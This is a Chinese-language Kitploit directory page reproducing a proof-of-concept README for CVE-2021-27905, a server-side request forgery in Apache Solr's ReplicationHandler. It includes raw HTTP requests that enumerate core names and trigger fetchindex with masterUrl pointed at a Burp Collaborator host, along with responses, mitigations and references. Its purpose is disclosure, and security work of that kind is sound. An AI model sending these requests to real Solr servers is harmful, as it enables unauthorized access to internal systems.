Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/murataydemir/cve-2021-27905
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringWeb Security
GitHubmurataydemir/cve-2021-27905

CVE-2021-27905

[CVE-2021-27905] Apache Solr ReplicationHandler Server Side Request Forgery (SSRF)

查看仓库
615年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

[CVE-2021-27905] Apache Solr ReplicationHandler 服务器端请求伪造(SSRF)


访问计数器 平台徽章

Apache Solr(全称 Searching On Lucene with Replication)是一个基于 Apache Lucene 库的免费开源搜索引擎,使用 Java 编写。Apache Solr 提供 RESTful XML/HTTP 和 JSON API,并支持多种编程语言的客户端库,例如 Java、Python、Ruby、C#、PHP 等,广泛用于构建基于搜索和大数据分析的应用程序,涵盖网站、数据库、文件等场景。

Apache Solr 所有早于 8.8.2 的版本(7.0.0 至 7.7.3 以及 8.0.0 至 8.8.1) 均存在服务器端请求伪造(SSRF)漏洞。成功利用此漏洞可能导致攻击者在受影响应用内部或该应用可通信的其他后端系统上执行未授权操作或访问数据。

ReplicationHandler(通常在 Solr 核心下注册于 /replication 路径)包含一个 masterUrl(别名 leaderUrl)参数,用于指定另一个 Solr 核心上的 ReplicationHandler,以将索引数据复制到本地核心。为防止 SSRF 漏洞,Solr 本应对这些参数进行类似于 shards 参数的配置校验,但在此漏洞修复之前并未执行此类检查。

概念验证(PoC): 要利用此漏洞,攻击者需要知道 Apache Solr 的核心名称。因此,可以使用以下请求来确定核心名称。

root@kitploit:~
GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1
Host: vulnerablehost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
root@kitploit:~
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Connection: close

{
    "responseHeader":
    {
        "status": 0,
        "QTime": 0
    },
    "initFailures":
    {},
    "status":
    {
        "beliana_dev":
        {
            "name": "beliana_dev",
            "instanceDir": "/var/solr/data/beliana_dev",
            "dataDir": "/var/solr/data/beliana_dev/data/",
            "config": "solrconfig.xml",
            "schema": "schema.xml",
            "startTime": "2021-04-20T13:49:06.569Z",
            "uptime": 293226747
        },
        "beliana_prod":
        {
            "name": "beliana_prod",
            "instanceDir": "/var/solr/data/beliana_prod",
            "dataDir": "/var/solr/data/beliana_prod/data/",
            "config": "solrconfig.xml",
            "schema": "schema.xml",
            "startTime": "2021-02-02T06:07:19.668Z",
            "uptime": 6973733649
        },
        "beliana_stage":
        {
            "name": "beliana_stage",
            "instanceDir": "/var/solr/data/beliana_stage",
            "dataDir": "/var/solr/data/beliana_stage/data/",
            "config": "solrconfig.xml",
            "schema": "schema.xml",
            "startTime": "2021-02-02T06:07:19.668Z",
            "uptime": 6973733649
        }
    }
}

1

确定核心名称后,只需选择一个,并向以下端点发送请求:/solr/{core_name}/replication/?command=fetchindex&masterUrl={ssrf_here}

root@kitploit:~
GET /solr/beliana_dev/replication/?command=fetchindex&masterUrl=http://4rwzji8a3i6xi33sjoml8qdda4gv4k.burpcollaborator.net HTTP/1.1
Host: vulnerablehost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
root@kitploit:~
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Expires: Sat, 01 Jan 2000 01:00:00 GMT
Last-Modified: Fri, 23 Apr 2021 23:16:50 GMT
ETag: "1790105893b"
Content-Type: application/xml; charset=UTF-8
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<response>
    <lst name="responseHeader">
        <int name="status">0</int>
        <int name="QTime">75</int>
    </lst>
    <str name="status">OK</str>
</response>

2

3

缓解措施: 以下任意一项均足以防止此漏洞

  • 升级至 Solr 8.8.2 或更高版本。
  • 如果无法升级,请考虑应用 https://issues.apache.org/jira/browse/SOLR-15217 中的补丁。
  • 确保对复制处理器的所有访问完全限于 Solr 内部。通常情况下,仅用于诊断/信息目的时才从外部访问。

参考资料:

  • https://github.com/apache/solr-site/blob/eb060a0d2cf1d31de403665407fff7a0255578ec/content/solr/security/2021-04-12-cve-2021-27905.md
  • https://github.com/apache/solr/pull/47/files/c12bbae4da0719435cf5e19623f6dad83f0c8c65#diff-838f63a8d7b764661b66c758c19cfe6f3d6454b328a1b5f52f75480530b0cfe7
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27905
  • https://www.anquanke.com/post/id/238201
下载工具